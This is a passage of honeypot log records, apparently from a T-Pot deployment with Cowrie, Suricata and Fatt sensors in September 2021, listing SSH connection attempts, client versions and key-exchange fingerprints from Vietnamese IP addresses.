"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23093	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:19.892225+03	2021-09-20 14:15:07.06147+03	{"_id": "wgbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ca082dd3e488", "@version": "1", "timestamp": "2021-09-20T11:07:19.892225Z", "@timestamp": "2021-09-20T11:07:19.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23094	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.0585+03	2021-09-20 14:15:07.063471+03	{"_id": "wwbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cfe69188ff37", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:20.058500Z", "@timestamp": "2021-09-20T11:07:20.058Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23095	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.163303+03	2021-09-20 14:15:07.06447+03	{"_id": "xAbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bdbaa5b030cc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:20.163303Z", "@timestamp": "2021-09-20T11:07:20.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23096	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:19.964858+03	2021-09-20 14:15:07.065471+03	{"_id": "xQbjAnwBvYTbRNuEkglS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 236205675849666, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60628, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.964858Z", "@timestamp": "2021-09-20T11:07:19.964Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23098	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:07.762839+03	2021-09-20 14:15:07.06947+03	{"_id": "IAbjAnwBvYTbRNuEYAfp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:43854 (192.168.176.2:22) [session: 18a1ddb0f9cf]", "session": "18a1ddb0f9cf", "@version": "1", "protocol": "ssh", "src_port": 43854, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.762839Z", "@timestamp": "2021-09-20T11:07:07.762Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23099	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:07.682244+03	2021-09-20 14:15:07.07047+03	{"_id": "KAbjAnwBvYTbRNuEYAfp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5c82696c63bc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:07.682244Z", "@timestamp": "2021-09-20T11:07:07.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23100	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:07.688959+03	2021-09-20 14:15:07.07147+03	{"_id": "KQbjAnwBvYTbRNuEYAfp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "48da12aa7451", "@version": "1", "duration": 3.0305092334747314, "timestamp": "2021-09-20T11:07:07.688959Z", "@timestamp": "2021-09-20T11:07:07.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23101	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:07.256423+03	2021-09-20 14:15:07.072471+03	{"_id": "OAbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:56254 (192.168.176.2:22) [session: 5c82696c63bc]", "session": "5c82696c63bc", "@version": "1", "protocol": "ssh", "src_port": 56254, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.256423Z", "@timestamp": "2021-09-20T11:07:07.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23102	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:08.176989+03	2021-09-20 14:15:07.07447+03	{"_id": "HgbjAnwBvYTbRNuEYAfp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ae995b2b38d4", "@version": "1", "duration": 2.4450440406799316, "timestamp": "2021-09-20T11:07:08.176989Z", "@timestamp": "2021-09-20T11:07:08.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23103	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:08.802095+03	2021-09-20 14:15:07.075471+03	{"_id": "agbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:46752 (192.168.176.2:22) [session: b6e45bc001e5]", "session": "b6e45bc001e5", "@version": "1", "protocol": "ssh", "src_port": 46752, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.802095Z", "@timestamp": "2021-09-20T11:07:08.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23104	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.877133+03	2021-09-20 14:15:07.0765+03	{"_id": "awbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51458 (192.168.176.2:22) [session: 31664c5d17b2]", "session": "31664c5d17b2", "@version": "1", "protocol": "ssh", "src_port": 51458, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.877133Z", "@timestamp": "2021-09-20T11:07:08.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23105	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:08.285349+03	2021-09-20 14:15:07.077505+03	{"_id": "cQbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33582, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.285349", "@timestamp": "2021-09-20T11:07:08.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23106	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:08.855098+03	2021-09-20 14:15:07.078499+03	{"_id": "XAbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": null, "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43854, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.855098", "@timestamp": "2021-09-20T11:07:08.855Z", 